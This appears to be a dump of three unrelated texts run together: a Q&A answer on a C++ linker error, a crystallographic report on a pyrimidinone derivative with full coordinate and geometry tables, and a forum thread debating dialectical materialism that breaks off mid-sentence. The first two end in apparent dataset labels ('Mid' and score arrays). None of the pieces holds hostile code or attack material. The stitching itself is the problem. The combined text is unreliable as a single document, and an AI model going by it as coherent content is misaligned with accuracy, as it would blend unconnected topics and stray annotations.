Q: undefined reference to 'abc::abc()' with Dwarf Error: Offset appearing I declare an obj : #include "abc.h" class xxx { public: xxx(); ~xxx(); abc* q; ... }; in the .cpp file i do the following this->q=new abc(); <-error on this line with undefined reference to abc::abc() In the console it also appears this error: Dwarf Error: Offset (76195) greater than or equal to .debug_str size (1472). anyone knows what could be wrong? i'm using eclipse, fedora 14 A: undefined reference to abc::abc() It is an Linking error which tells you that the linker could not find the definition for abc::abc(). Most likely, You only declared but did not define the no argument constructor for class abc. In your cpp file you should have: abc::abc() { } If you already have it in place then, You should ensure that the source cpp file which has this definition is being properly linked to your project.	Mid	[ 0.6032171581769431, 28.125, 18.5 ]
Related literature {#sec1} ================== For the crystal structures of other fused pyrimidinone derivatives and related literature, see: Ding et al. (2004[@bb2]); Hu et al. (2005[@bb3], 2006[@bb5], 2007[@bb4], 2008[@bb6]). Experimental {#sec2} ============ {#sec2.1} ### Crystal data {#sec2.1.1} C~20~H~21~N~5~O~4~M ~r~ = 395.42Orthorhombic,a = 19.9810 (11) Åb = 37.3673 (19) Åc = 10.7181 (6) ÅV = 8002.5 (7) Å^3^Z = 16Mo Kα radiationμ = 0.09 mm^−1^T = 295 K0.20 × 0.20 × 0.10 mm ### Data collection {#sec2.1.2} Bruker SMART 4K CCD area-detector diffractometerAbsorption correction: multi-scan (SADABS; Sheldrick, 2003[@bb7]) T ~min~ = 0.981, T ~max~ = 0.99121970 measured reflections2074 independent reflections1883 reflections with I \> 2σ(I)R ~int~ = 0.042 ### Refinement {#sec2.1.3} R\[F ^2^ \> 2σ(F ^2^)\] = 0.043wR(F ^2^) = 0.109S = 1.092074 reflections290 parameters5 restraintsH atoms treated by a mixture of independent and constrained refinementΔρ~max~ = 0.14 e Å^−3^Δρ~min~ = −0.11 e Å^−3^ {#d5e441} Data collection: SMART (Bruker, 2001[@bb1]); cell refinement: SAINT-Plus (Bruker, 2001[@bb1]); data reduction: SAINT-Plus; program(s) used to solve structure: SHELXS97 (Sheldrick, 2008[@bb8]); program(s) used to refine structure: SHELXL97 (Sheldrick, 2008[@bb8]); molecular graphics: PLATON (Spek, 2009[@bb9]); software used to prepare material for publication: SHELXTL (Sheldrick, 2008[@bb8]). Supplementary Material ====================== Crystal structure: contains datablocks I, global. DOI: [10.1107/S1600536810032654/bt5323sup1.cif](http://dx.doi.org/10.1107/S1600536810032654/bt5323sup1.cif) Structure factors: contains datablocks I. DOI: [10.1107/S1600536810032654/bt5323Isup2.hkl](http://dx.doi.org/10.1107/S1600536810032654/bt5323Isup2.hkl) Additional supplementary materials: [crystallographic information](http://scripts.iucr.org/cgi-bin/sendsupfiles?bt5323&file=bt5323sup0.html&mime=text/html); [3D view](http://scripts.iucr.org/cgi-bin/sendcif?bt5323sup1&Qmime=cif); [checkCIF report](http://scripts.iucr.org/cgi-bin/paper?bt5323&checkcif=yes) Supplementary data and figures for this paper are available from the IUCr electronic archives (Reference: [BT5323](http://scripts.iucr.org/cgi-bin/sendsup?bt5323)). The authors are grateful to Dr Y. G. Hu (Institute of Medicinal Chemistry, Hubei Medical University, Shiyan, China) for help with synthesis and analysis. This work was supported by the Education Commission of Hubei Province of China (grant No. B20102107) and Shiyan Municipal Science and Technology Bureau (grant No. 2010-037s). Comment ======= Fused pyrimidine compounds are valued not only for their rich and varied chemistry, but also for many important biological properties. On the other hand, heterocycles containing triazoles nucleus also exhibit various biological activities. The introduction of an triazole ring to the furopyrimidine system is expected to influence the biological activities significantly. As a part of our ongoing investigations on the preparation of derivatives of heterocyclic compounds (Ding et al., (2004), Hu et al., 2005, 2006, 2007, 2008), we have synthesized and structurally characterized characterized the title compound, and here we wish to report an X-ray crystal structure of it(Fig. 1). In the molecule, the bond lengths and angles are unexceptional. In the title compound the ring system containing the three fused rings is essentially planar (r.m.s. deviation for all 12 non-H atoms 0.041 Å). The phenyl ring makes a dihedral angles of 54.41 (06)° with this ring system. The isopropyl group in molecule is disordered over two positions, with site occupancy factors 0.753 (9) and 0.247 (9); The structure is mainly stabilized by intermolecular weak N---H···O and intramolecular C---H···O hydrogen bonding interactions (Table 1) and π-π interactions with interplanar distances of 3.537Å between adjacent furan ring centroids (symmetry code: -x, -y, z) and 3.681Å between phenyl and pyrimidinone rings (symmetry code: 1/4 + x,1/4 - y,1/4 + z). Experimental {#experimental} ============ The title compound was obtained in excellent yield via aza-Wittig reaction. Crystals suitable for single-crystal X-ray diffraction were obtained by recrystallization from a mixed solvent of ethanol and dichloromethane (1:2 v/v) at room temperature. Refinement {#refinement} ========== In the absence of anomalous scatterers, 2307 Friedel pairs were merged. All H atoms were located in difference maps and treated as riding atoms, with C---H = 0.93 Å, U~iso~ = 1.2U~eq~ (C) for Csp^2^, C---H = 0.98 Å, U~iso~ = 1.2U~eq~ (C) for CH, C---H = 0.97 Å, U~iso~ = 1.2U~eq~ (C) for CH~2~, C---H = 0.96 Å, U~iso~ = 1.5U~eq~ (C) for CH~3~. The coordinates of the H atom bonded to N were refined with U~iso~ = 1.2U~eq~(N) and the N---H distance restrained to 0.86 (1) Å. The bond distances and 1--3 distances in the disordered groups were restrained to be equal within an effective e.s.d. of 0.01 Å. Figures ======= ![The molecular structure of the title compound, showing the atom-labeling scheme.](e-66-o2384-fig1){#Fap1} Crystal data {#tablewrapcrystaldatalong} ============ ----------------------- --------------------------------------- C~20~H~21~N~5~O~4~ F(000) = 3328 M~r~ = 395.42 D~x~ = 1.313 Mg m^−3^ Orthorhombic, Fdd2 Mo Kα radiation, λ = 0.71073 Å Hall symbol: F 2 -2d Cell parameters from 3861 reflections a = 19.9810 (11) Å θ = 2.2--20.8° b = 37.3673 (19) Å µ = 0.09 mm^−1^ c = 10.7181 (6) Å T = 295 K V = 8002.5 (7) Å^3^ Block, purple Z = 16 0.20 × 0.20 × 0.10 mm ----------------------- --------------------------------------- Data collection {#tablewrapdatacollectionlong} =============== --------------------------------------------------------------- -------------------------------------- Bruker SMART 4K CCD area-detector diffractometer 2074 independent reflections Radiation source: fine-focus sealed tube 1883 reflections with I \> 2σ(I) graphite R~int~ = 0.042 φ and ω scans θ~max~ = 27.0°, θ~min~ = 2.2° Absorption correction: multi-scan (SADABS; Sheldrick, 2003) h = −25→24 T~min~ = 0.981, T~max~ = 0.991 k = −44→47 21970 measured reflections l = −13→13 --------------------------------------------------------------- -------------------------------------- Refinement {#tablewraprefinementdatalong} ========== ------------------------------------- ------------------------------------------------------------------------------------------------- Refinement on F^2^ Primary atom site location: structure-invariant direct methods Least-squares matrix: full Secondary atom site location: difference Fourier map R\[F^2^ \> 2σ(F^2^)\] = 0.043 Hydrogen site location: inferred from neighbouring sites wR(F^2^) = 0.109 H atoms treated by a mixture of independent and constrained refinement S = 1.09 w = 1/\[σ^2^(F~o~^2^) + (0.0601P)^2^ + 2.4148P\] where P = (F~o~^2^ + 2F~c~^2^)/3 2074 reflections (Δ/σ)~max~ \< 0.001 290 parameters Δρ~max~ = 0.14 e Å^−3^ 5 restraints Δρ~min~ = −0.11 e Å^−3^ ------------------------------------- ------------------------------------------------------------------------------------------------- Special details {#specialdetails} =============== ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Geometry. All e.s.d.\'s (except the e.s.d. in the dihedral angle between two l.s. planes) are estimated using the full covariance matrix. The cell e.s.d.\'s are taken into account individually in the estimation of e.s.d.\'s in distances, angles and torsion angles; correlations between e.s.d.\'s in cell parameters are only used when they are defined by crystal symmetry. An approximate (isotropic) treatment of cell e.s.d.\'s is used for estimating e.s.d.\'s involving l.s. planes. Refinement. Refinement of F^2^ against ALL reflections. The weighted R-factor wR and goodness of fit S are based on F^2^, conventional R-factors R are based on F, with F set to zero for negative F^2^. The threshold expression of F^2^ \> σ(F^2^) is used only for calculating R-factors(gt) etc. and is not relevant to the choice of reflections for refinement. R-factors based on F^2^ are statistically about twice as large as those based on F, and R- factors based on ALL data will be even larger. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Fractional atomic coordinates and isotropic or equivalent isotropic displacement parameters (Å^2^) {#tablewrapcoords} ================================================================================================== ------- --------------- --------------- ------------- -------------------- ------------ x y z U~iso~\/U~eq~ Occ. (\<1) C1 0.25088 (16) 0.07862 (8) 0.2745 (4) 0.0618 (8) H1 0.2634 0.0694 0.1974 0.074\ C2 0.29491 (17) 0.07774 (9) 0.3748 (4) 0.0743 (11) H2 0.3378 0.0685 0.3640 0.089\* C3 0.2759 (2) 0.09026 (10) 0.4890 (4) 0.0829 (12) H3 0.3052 0.0889 0.5562 0.099\* C4 0.2140 (2) 0.10476 (12) 0.5044 (4) 0.0831 (11) H4 0.2011 0.1133 0.5822 0.100\* C5 0.17048 (18) 0.10680 (10) 0.4059 (3) 0.0678 (9) H5 0.1287 0.1173 0.4167 0.081\* C6 0.18834 (15) 0.09340 (8) 0.2912 (3) 0.0520 (7) C7 0.07894 (14) 0.07677 (7) 0.1978 (3) 0.0487 (6) C8 0.14928 (15) 0.10258 (7) 0.0675 (3) 0.0517 (7) C9 0.21415 (19) 0.12881 (12) −0.1012 (4) 0.0790 (11) H9A 0.1973 0.1093 −0.1537 0.095\* 0.76 H9B 0.1720 0.1295 −0.1479 0.095\* 0.24 C10 0.1741 (3) 0.16260 (18) −0.1310 (7) 0.107 (2) 0.76 H10A 0.1276 0.1584 −0.1149 0.160\* 0.76 H10B 0.1801 0.1687 −0.2173 0.160\* 0.76 H10C 0.1896 0.1819 −0.0796 0.160\* 0.76 C11 0.2851 (3) 0.1340 (3) −0.1290 (7) 0.137 (3) 0.76 H11A 0.3032 0.1519 −0.0745 0.205\* 0.76 H11B 0.2901 0.1416 −0.2141 0.205\* 0.76 H11C 0.3086 0.1118 −0.1168 0.205\* 0.76 C11\' 0.2599 (11) 0.1007 (4) −0.153 (2) 0.125 (8) 0.24 H11D 0.2996 0.0995 −0.1023 0.188\* 0.24 H11E 0.2718 0.1067 −0.2367 0.188\* 0.24 H11F 0.2376 0.0780 −0.1514 0.188\* 0.24 C10\' 0.2513 (12) 0.1649 (3) −0.110 (3) 0.187 (17) 0.24 H10D 0.2212 0.1840 −0.0881 0.281\* 0.24 H10E 0.2674 0.1684 −0.1932 0.281\* 0.24 H10F 0.2885 0.1649 −0.0528 0.281\* 0.24 C12 −0.00778 (15) 0.06210 (8) 0.0432 (3) 0.0575 (8) C13 −0.03791 (14) 0.04496 (8) 0.1483 (3) 0.0592 (8) C14 −0.00908 (14) 0.04888 (8) 0.2641 (3) 0.0549 (7) C15 −0.09993 (16) 0.02527 (8) 0.1723 (4) 0.0680 (10) C16 −0.10362 (17) 0.02052 (9) 0.2962 (4) 0.0715 (10) C17 −0.1520 (2) 0.00305 (13) 0.3833 (5) 0.0982 (14) H17A −0.1864 −0.0087 0.3360 0.147\* H17B −0.1719 0.0209 0.4361 0.147\* H17C −0.1289 −0.0142 0.4336 0.147\* C18 −0.1456 (2) 0.00781 (11) 0.0816 (5) 0.0832 (12) C19 −0.1552 (3) −0.01350 (12) −0.1254 (6) 0.1117 (18) H19A −0.1946 0.0006 −0.1452 0.134\* H19B −0.1697 −0.0370 −0.0976 0.134\* C20 −0.1128 (4) −0.0169 (2) −0.2349 (7) 0.158 (3) H20A −0.0985 0.0064 −0.2614 0.237\* H20B −0.1375 −0.0282 −0.3009 0.237\* H20C −0.0743 −0.0312 −0.2147 0.237\* N1 0.14054 (11) 0.09293 (6) 0.1915 (2) 0.0506 (6) N2 0.05524 (11) 0.07635 (6) 0.0793 (2) 0.0511 (6) N3 0.09879 (12) 0.09351 (6) −0.0029 (2) 0.0538 (6) N4 0.20563 (14) 0.11862 (8) 0.0286 (3) 0.0636 (7) H4A 0.2249 (17) 0.1327 (8) 0.081 (3) 0.076\* N5 0.04897 (13) 0.06436 (7) 0.2978 (2) 0.0568 (6) O1 −0.02832 (11) 0.06660 (6) −0.0623 (2) 0.0728 (7) O2 −0.04849 (11) 0.03475 (6) 0.3546 (2) 0.0695 (6) O3 −0.20042 (15) −0.00291 (9) 0.1061 (4) 0.1254 (13) O4 −0.11678 (14) 0.00387 (7) −0.0285 (3) 0.0887 (9) ------- --------------- --------------- ------------- -------------------- ------------ Atomic displacement parameters (Å^2^) {#tablewrapadps} ===================================== ------- ------------- ------------- ------------- -------------- -------------- -------------- U^11^ U^22^ U^33^ U^12^ U^13^ U^23^ C1 0.0516 (17) 0.0511 (16) 0.083 (2) −0.0037 (13) −0.0061 (16) 0.0058 (16) C2 0.0521 (19) 0.0555 (18) 0.115 (3) −0.0055 (15) −0.021 (2) 0.016 (2) C3 0.088 (3) 0.073 (2) 0.088 (3) −0.015 (2) −0.043 (2) 0.015 (2) C4 0.094 (3) 0.091 (3) 0.065 (2) −0.010 (2) −0.020 (2) 0.0011 (19) C5 0.063 (2) 0.079 (2) 0.062 (2) −0.0057 (16) −0.0053 (17) 0.0026 (16) C6 0.0479 (16) 0.0494 (15) 0.0587 (17) −0.0094 (13) −0.0064 (13) 0.0071 (13) C7 0.0428 (15) 0.0493 (15) 0.0540 (16) −0.0008 (12) −0.0032 (14) −0.0011 (13) C8 0.0534 (17) 0.0475 (15) 0.0542 (17) 0.0004 (13) 0.0045 (14) −0.0061 (13) C9 0.081 (2) 0.098 (3) 0.0576 (19) −0.019 (2) 0.0117 (18) −0.0011 (19) C10 0.120 (5) 0.113 (5) 0.088 (4) −0.002 (4) 0.018 (4) 0.035 (4) C11 0.089 (4) 0.226 (10) 0.096 (5) −0.018 (6) 0.039 (4) 0.026 (6) C11\' 0.18 (2) 0.093 (14) 0.105 (15) −0.018 (15) 0.062 (16) −0.013 (12) C10\' 0.26 (4) 0.110 (17) 0.19 (3) 0.06 (2) 0.16 (3) 0.081 (19) C12 0.0508 (17) 0.0457 (16) 0.076 (2) 0.0031 (13) −0.0168 (16) −0.0029 (15) C13 0.0449 (17) 0.0515 (17) 0.081 (2) −0.0002 (13) −0.0078 (16) −0.0001 (16) C14 0.0446 (15) 0.0510 (16) 0.0692 (19) −0.0032 (13) 0.0058 (14) −0.0018 (14) C15 0.0450 (18) 0.0517 (18) 0.107 (3) −0.0007 (14) −0.0087 (18) 0.0031 (18) C16 0.0485 (18) 0.0585 (19) 0.108 (3) −0.0056 (14) 0.0049 (18) −0.0043 (19) C17 0.074 (3) 0.091 (3) 0.130 (4) −0.023 (2) 0.029 (3) −0.012 (3) C18 0.058 (2) 0.061 (2) 0.131 (4) −0.0096 (17) −0.028 (2) 0.021 (2) C19 0.120 (4) 0.063 (2) 0.152 (5) −0.015 (2) −0.081 (4) 0.011 (3) C20 0.194 (7) 0.151 (5) 0.129 (5) −0.003 (5) −0.057 (5) −0.036 (5) N1 0.0410 (12) 0.0554 (13) 0.0552 (13) −0.0055 (10) −0.0011 (11) 0.0000 (11) N2 0.0470 (13) 0.0505 (13) 0.0558 (14) −0.0007 (10) −0.0048 (11) −0.0009 (11) N3 0.0586 (15) 0.0519 (13) 0.0509 (13) −0.0039 (11) −0.0029 (12) −0.0036 (11) N4 0.0601 (16) 0.0739 (17) 0.0566 (16) −0.0145 (14) 0.0082 (13) −0.0032 (13) N5 0.0484 (14) 0.0619 (15) 0.0601 (14) −0.0057 (11) 0.0008 (12) −0.0012 (12) O1 0.0743 (15) 0.0658 (13) 0.0783 (16) −0.0078 (11) −0.0312 (13) 0.0074 (12) O2 0.0551 (13) 0.0702 (14) 0.0832 (15) −0.0106 (11) 0.0130 (12) −0.0042 (12) O3 0.0740 (18) 0.139 (3) 0.163 (3) −0.0538 (19) −0.031 (2) 0.036 (3) O4 0.0692 (16) 0.0697 (16) 0.127 (3) −0.0056 (13) −0.0370 (18) −0.0125 (16) ------- ------------- ------------- ------------- -------------- -------------- -------------- Geometric parameters (Å, °) {#tablewrapgeomlong} =========================== ----------------------- ------------ ---------------------- ------------- C1---C6 1.378 (4) C11\'---H11D 0.9600 C1---C2 1.389 (5) C11\'---H11E 0.9600 C1---H1 0.9300 C11\'---H11F 0.9600 C2---C3 1.364 (7) C10\'---H10D 0.9600 C2---H2 0.9300 C10\'---H10E 0.9600 C3---C4 1.361 (6) C10\'---H10F 0.9600 C3---H3 0.9300 C12---O1 1.215 (4) C4---C5 1.370 (5) C12---N2 1.421 (4) C4---H4 0.9300 C12---C13 1.429 (5) C5---C6 1.374 (5) C13---C14 1.376 (5) C5---H5 0.9300 C13---C15 1.464 (5) C6---N1 1.434 (4) C14---N5 1.345 (4) C7---N5 1.312 (4) C14---O2 1.357 (4) C7---N2 1.355 (4) C15---C16 1.342 (6) C7---N1 1.373 (3) C15---C18 1.483 (6) C8---N3 1.305 (4) C16---O2 1.374 (4) C8---N4 1.342 (4) C16---C17 1.494 (6) C8---N1 1.387 (4) C17---H17A 0.9600 C9---N4 1.452 (5) C17---H17B 0.9600 C9---C11 1.461 (7) C17---H17C 0.9600 C9---C11\' 1.496 (11) C18---O3 1.196 (5) C9---C10 1.528 (7) C18---O4 1.321 (6) C9---C10\' 1.543 (11) C19---O4 1.446 (5) C9---H9A 0.9800 C19---C20 1.454 (9) C9---H9B 0.9800 C19---H19A 0.9700 C10---H9B 1.2497 C19---H19B 0.9700 C10---H10A 0.9600 C20---H20A 0.9600 C10---H10B 0.9600 C20---H20B 0.9600 C10---H10C 0.9600 C20---H20C 0.9600 C11---H11A 0.9600 N2---N3 1.394 (3) C11---H11B 0.9600 N4---H4A 0.86 (3) C11---H11C 0.9600 C6---C1---C2 118.9 (3) C9---C10\'---H10E 109.5 C6---C1---H1 120.6 H10D---C10\'---H10E 109.5 C2---C1---H1 120.6 C9---C10\'---H10F 109.5 C3---C2---C1 120.7 (3) H10D---C10\'---H10F 109.5 C3---C2---H2 119.7 H10E---C10\'---H10F 109.5 C1---C2---H2 119.7 O1---C12---N2 120.1 (3) C4---C3---C2 119.9 (4) O1---C12---C13 130.8 (3) C4---C3---H3 120.1 N2---C12---C13 109.1 (3) C2---C3---H3 120.1 C14---C13---C12 119.1 (3) C3---C4---C5 120.4 (4) C14---C13---C15 104.5 (3) C3---C4---H4 119.8 C12---C13---C15 136.1 (3) C5---C4---H4 119.8 N5---C14---O2 118.4 (3) C4---C5---C6 120.3 (4) N5---C14---C13 130.4 (3) C4---C5---H5 119.9 O2---C14---C13 111.1 (3) C6---C5---H5 119.9 C16---C15---C13 106.7 (3) C5---C6---C1 119.9 (3) C16---C15---C18 123.8 (4) C5---C6---N1 119.9 (3) C13---C15---C18 128.8 (4) C1---C6---N1 120.1 (3) C15---C16---O2 110.9 (3) N5---C7---N2 127.0 (3) C15---C16---C17 135.3 (4) N5---C7---N1 127.2 (3) O2---C16---C17 113.8 (4) N2---C7---N1 105.8 (2) C16---C17---H17A 109.5 N3---C8---N4 125.8 (3) C16---C17---H17B 109.5 N3---C8---N1 112.9 (2) H17A---C17---H17B 109.5 N4---C8---N1 121.3 (3) C16---C17---H17C 109.5 N4---C9---C11 110.1 (4) H17A---C17---H17C 109.5 N4---C9---C11\' 103.9 (10) H17B---C17---H17C 109.5 N4---C9---C10 110.8 (4) O3---C18---O4 123.9 (5) C11---C9---C10 110.8 (6) O3---C18---C15 124.5 (5) C11\'---C9---C10 145.3 (10) O4---C18---C15 111.5 (3) N4---C9---C10\' 110.0 (11) O4---C19---C20 108.0 (5) C11\'---C9---C10\' 107.3 (9) O4---C19---H19A 110.1 N4---C9---H9A 108.3 C20---C19---H19A 110.1 C11---C9---H9A 108.3 O4---C19---H19B 110.1 C10---C9---H9A 108.3 C20---C19---H19B 110.1 C10\'---C9---H9A 141.5 H19A---C19---H19B 108.4 N4---C9---H9B 113.3 C19---C20---H20A 109.5 C11---C9---H9B 136.6 C19---C20---H20B 109.5 C11\'---C9---H9B 110.9 H20A---C20---H20B 109.5 C10\'---C9---H9B 111.1 C19---C20---H20C 109.5 C9---C10---H10A 109.5 H20A---C20---H20C 109.5 C9---C10---H10B 109.5 H20B---C20---H20C 109.5 H9B---C10---H10B 95.8 C7---N1---C8 105.9 (2) C9---C10---H10C 109.5 C7---N1---C6 124.5 (2) H9B---C10---H10C 147.0 C8---N1---C6 128.8 (2) C9---C11---H11A 109.5 C7---N2---N3 111.6 (2) C9---C11---H11B 109.5 C7---N2---C12 124.7 (3) C9---C11---H11C 109.5 N3---N2---C12 123.6 (2) C9---C11\'---H11D 109.5 C8---N3---N2 103.7 (2) C9---C11\'---H11E 109.5 C8---N4---C9 120.9 (3) H11D---C11\'---H11E 109.5 C8---N4---H4A 116 (3) C9---C11\'---H11F 109.5 C9---N4---H4A 114 (3) H11D---C11\'---H11F 109.5 C7---N5---C14 109.0 (3) H11E---C11\'---H11F 109.5 C14---O2---C16 106.8 (3) C9---C10\'---H10D 109.5 C18---O4---C19 117.4 (4) C6---C1---C2---C3 2.1 (5) N4---C8---N1---C6 −8.7 (5) C1---C2---C3---C4 −2.0 (5) C5---C6---N1---C7 −56.1 (4) C2---C3---C4---C5 0.2 (6) C1---C6---N1---C7 120.2 (3) C3---C4---C5---C6 1.6 (6) C5---C6---N1---C8 135.5 (3) C4---C5---C6---C1 −1.5 (5) C1---C6---N1---C8 −48.2 (4) C4---C5---C6---N1 174.8 (3) N5---C7---N2---N3 176.9 (3) C2---C1---C6---C5 −0.3 (5) N1---C7---N2---N3 −3.0 (3) C2---C1---C6---N1 −176.6 (3) N5---C7---N2---C12 0.2 (5) O1---C12---C13---C14 −168.6 (3) N1---C7---N2---C12 −179.6 (2) N2---C12---C13---C14 8.9 (4) O1---C12---N2---C7 171.4 (3) O1---C12---C13---C15 3.6 (6) C13---C12---N2---C7 −6.5 (4) N2---C12---C13---C15 −178.8 (3) O1---C12---N2---N3 −4.9 (4) C12---C13---C14---N5 −6.7 (5) C13---C12---N2---N3 177.2 (2) C15---C13---C14---N5 178.9 (3) N4---C8---N3---N2 177.0 (3) C12---C13---C14---O2 172.3 (3) N1---C8---N3---N2 −1.2 (3) C15---C13---C14---O2 −2.2 (3) C7---N2---N3---C8 2.6 (3) C14---C13---C15---C16 2.1 (4) C12---N2---N3---C8 179.3 (2) C12---C13---C15---C16 −170.9 (4) N3---C8---N4---C9 2.3 (5) C14---C13---C15---C18 −168.0 (3) N1---C8---N4---C9 −179.6 (3) C12---C13---C15---C18 19.0 (6) C11---C9---N4---C8 −160.5 (6) C13---C15---C16---O2 −1.3 (4) C11\'---C9---N4---C8 −103.2 (11) C18---C15---C16---O2 169.4 (3) C10---C9---N4---C8 76.5 (5) C13---C15---C16---C17 −179.8 (4) C10\'---C9---N4---C8 142.2 (10) C18---C15---C16---C17 −9.1 (7) N2---C7---N5---C14 3.4 (4) C16---C15---C18---O3 23.7 (6) N1---C7---N5---C14 −176.8 (3) C13---C15---C18---O3 −167.7 (4) O2---C14---N5---C7 −179.0 (3) C16---C15---C18---O4 −153.1 (4) C13---C14---N5---C7 −0.1 (5) C13---C15---C18---O4 15.5 (5) N5---C14---O2---C16 −179.5 (3) N5---C7---N1---C8 −177.7 (3) C13---C14---O2---C16 1.4 (3) N2---C7---N1---C8 2.1 (3) C15---C16---O2---C14 0.0 (4) N5---C7---N1---C6 11.6 (5) C17---C16---O2---C14 178.9 (3) N2---C7---N1---C6 −168.6 (2) O3---C18---O4---C19 2.0 (6) N3---C8---N1---C7 −0.5 (3) C15---C18---O4---C19 178.8 (3) N4---C8---N1---C7 −178.8 (3) C20---C19---O4---C18 −176.6 (4) N3---C8---N1---C6 169.5 (3) ----------------------- ------------ ---------------------- ------------- Hydrogen-bond geometry (Å, °) {#tablewraphbondslong} ============================= ------------------ ---------- ---------- ----------- --------------- D---H···A D---H H···A D···A D---H···A N4---H4A···O1^i^ 0.86 (3) 2.21 (2) 2.978 (4) 148 (3) C17---H17A···O3 0.96 2.49 3.132 (7) 124\. ------------------ ---------- ---------- ----------- --------------- Symmetry codes: (i) x+1/4, −y+1/4, z+1/4. ###### Hydrogen-bond geometry (Å, °) D---H⋯A D---H H⋯A D⋯A D---H⋯A ------------------ ---------- ---------- ----------- ------------- N4---H4A⋯O1^i^ 0.86 (3) 2.21 (2) 2.978 (4) 148 (3) C17---H17A⋯O3 0.96 2.49 3.132 (7) 124 Symmetry code: (i) .	Mid	[ 0.6106194690265481, 34.5, 22 ]
Welcome to RevLeft, our collective online space! RevLeft has chalked up more than 2.5 million posts since 2001 and is now the oldest and biggest leftist discussion board on the web. Its basis is to provide a neutral discussion platform for the whole spectrum of the radical Left. Here everyone can discuss current political trends, theory, and historical issues and more from a revolutionary perspective. Join thousands of fellow leftists from around the world and get in touch. Register your account and start posting now! Anti-Dialectics site.... Comrades, I was debating on another forum earlier with some liberals and libertarians about capitalism, and one of them pointed me to this website in an attempt to discredit Dialectical Materialism (a site owned by a self-proclaimed Marxist). http://www.anti-dialectics.co.uk/Ant...So,_What_Is_DM What do you guys make of this? Personally, I think this dude vulgarizes DM into being some 'deterministic' philosophy (even though DM is anti-dogmatic by its very essence) in his attempt to discredit it. In my opinion, DM is the backbone of Marxism, and to take it out of Marxism is an abandonment of it, since Marx and Engels clearly used dialectics in almost all their work. What are your guys thoughts? Sorry if this site has been posted before but I'm really curious. To be honest, there is a saying that I feel applies to the initial reaction that this site will probably garner here: No investigation, no right to speak! So all I will say is that without dialetics, there is no Marxism. That's a simple fact. This doesn't say anything about dialetics it's self, perhaps Marxism is wrong after all, I haven't engaged their material enough to say, but no Marxist can denounce dialectics and continue to be a Marxist. But again, perhaps Marxism is wrong. After all communism exists outside of the Marxist framework and I suppose one could still be a Communist without applying dialetics. Men vanish from earth leaving behind them the furrows they have ploughed. I see the furrow Lenin left sown with the unshatterable seed of a new life for mankind, and cast deep below the rolling tides of storm and lightning, mighty crops for the ages to reap. ~Helen Keller To despise the enemy strategically is an elementary requirement for a revolutionary. Without the courage to despise the enemy and without daring to win, it will be simply impossible to make revolution and wage a people’s war, let alone to achieve victory. ~Lin Biaohttp://commiforum.forumotion.com/ The Following 4 Users Say Thank You to Yet_Another_Boring_Marxist For This Useful Post: Yea I agree. I mean, Marx didn't even coin the phrase or state explicitly (that I know of) that DM was central to his thought, but it is pretty self-evident that he used it extensively and thus we kind of accept it by default as being one of the central themes of Marxism as a system. Of course, maybe Marxism is wrong, but that is another matter altogether. For now, we accept it, and in doing so, it makes no sense to reject DM like this guy does. I mean, its like taking the concept of adaptation out of the process of evolution, which at that point it ceases to be evolution! This site absolutely blew my mind (not in a good way). The Following User Says Thank You to Marxaveli For This Useful Post: Yea I agree. I mean, Marx didn't even coin the phrase or state explicitly (that I know of) that DM was central to his thought, but it is pretty self-evident that he used it extensively and thus we kind of accept it by default as being one of the central themes of Marxism as a system. Of course, maybe Marxism is wrong, but that is another matter altogether. For now, we accept it, and in doing so, it makes no sense to reject DM like this guy does. I mean, its like taking the concept of adaptation out of the process of evolution, which at that point it ceases to be evolution! The very basis of Marx's critique of capitalism in Das Kapital begins with Marx noting that each commodity is a contradiction between it's use value and it's extange value. It's late so I wont' do it right now, but in the afternoon tommorow I can cite various quotes to show where the dialectics forms the basis of Marxist political economy and the critique of capitalism. So to be honest, I just don't see where that leaves Marx's critique of capitalism if you remove dialectics. I guess you could vulgarize the Tendency for the Rate of Profit to Decline into some sort of semi-Keynesian rubbish about technology decreasing demand until capitalism dies, but that takes away almost all of the punch and uniqueness in Marx's critique of capitalism. Men vanish from earth leaving behind them the furrows they have ploughed. I see the furrow Lenin left sown with the unshatterable seed of a new life for mankind, and cast deep below the rolling tides of storm and lightning, mighty crops for the ages to reap. ~Helen Keller To despise the enemy strategically is an elementary requirement for a revolutionary. Without the courage to despise the enemy and without daring to win, it will be simply impossible to make revolution and wage a people’s war, let alone to achieve victory. ~Lin Biaohttp://commiforum.forumotion.com/ The creator of the Anti-Dialectics site and seemingly endless chunks of text was a very prolific poster on revleft. I find it very strange. I appreciate the comments above. There's a strange question about what it is to be a 'Marxist'. Is it a particular view of history or social class or economics, an ethical commitment, or membership or activity in a party or movement? Or none or all of those? @YABM, there is a possibility that Marxism is wrong. There's also the possibility that Orthodox Marxism or specific types of Marxist thought are useful and applicable to particular questions. In my opinion, the single best contribution to Marxist thought in the past 50 years has been Braverman's Labor and Monopoly Capital which in many ways was in many ways deliberately crude theoretically. Braverman acknowledges in his introduction to the book that he is NOT addressing questions of ideology, identity, consciousness, strategy and so on, though they do come up, but his focus was on work and workers and how workers worked and bosses bossed. Great. I think the owner of that site used to post a lot on Revleft before they were banned. To be honest, I could never be bothered reading any of his/her book-length posts and I'm not about to start either. [FONT=Trebuchet MS]I have added approximately 35,000 words of new material (thus making the Essay 25% longer)[/FONT] [FONT=Trebuchet MS]I have added just over 21,000 words of new material (making the Essay about 12% longer)[/FONT] [FONT=Trebuchet MS]I have added about 7,000 words of new material (making it approximately 12% longer)[/FONT] etc. and then says they've fixed most of the mistakes, it is difficult to maintain any interest. When we were still on sort of friendly debating terms, I made a joke at Rosa L about the word count stuff and nothing funny was seen in it. You buy toothpaste that way - 25% more per tube! - but essays on the philosophy and science of Marxism? But, as can be found on the first page of the site, way down on the right: [FONT=Trebuchet MS]Anyone who objects to the length of these Essays should rather pick a fight with Marx, Engels, Plekhanov, Lenin and Trotsky -- and Hegel -- whose collected work easily dwarfs my own.[/FONT] The Following User Says Thank You to Brutus For This Useful Post: I don't know man....its ok to be critical of DM, but abandoning it entirely is a vulgarization of Marxism in my opinion. Not to mention, most of her arguments, the few that are actually coherent, seem to have little merit. Without dialectics, would Marxism have even developed into a system/mode of analysis? Hard to imagine. As I said before, it is like taking adaptation out of evolution, and still calling it such. DM is quite complex, and I'm barely grasping it but I understand the basics of it. I find it useful overall, as well as fascinating to read about. Though admittedly it was Historical Materialism 